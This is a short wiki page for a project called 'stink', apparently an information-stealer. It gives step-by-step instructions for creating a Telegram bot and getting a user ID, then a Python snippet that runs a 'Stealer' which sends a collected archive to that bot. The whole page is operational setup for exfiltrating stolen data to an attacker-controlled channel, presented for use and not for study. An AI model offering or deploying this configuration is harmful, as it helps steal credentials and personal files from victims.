Telegram bot - FallenAstaroth/stink GitHub Wiki
Introduction
A guide on how to set up data sending via the Telegram bot.
Getting token
- Open a chat with BotFather.
- Write the command
/newbot
.
- Write the name of the bot, then the nickname with the attribute
_bot
at the end.
- Insert the resulting token into the
YOUR_TOKEN
field in the script.
Getting id
- Open a chat with Get My ID.
- Write the command
/start
.
- Insert the resulting ID into the
YOUR_ID
field in the script.
After that, you need to write any message to the bot, so he can send you the archive.
Example usage
from stink import Stealer
from stink.utils.senders import TelegramSender
if __name__ == '__main__':
Stealer(senders=[TelegramSender(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()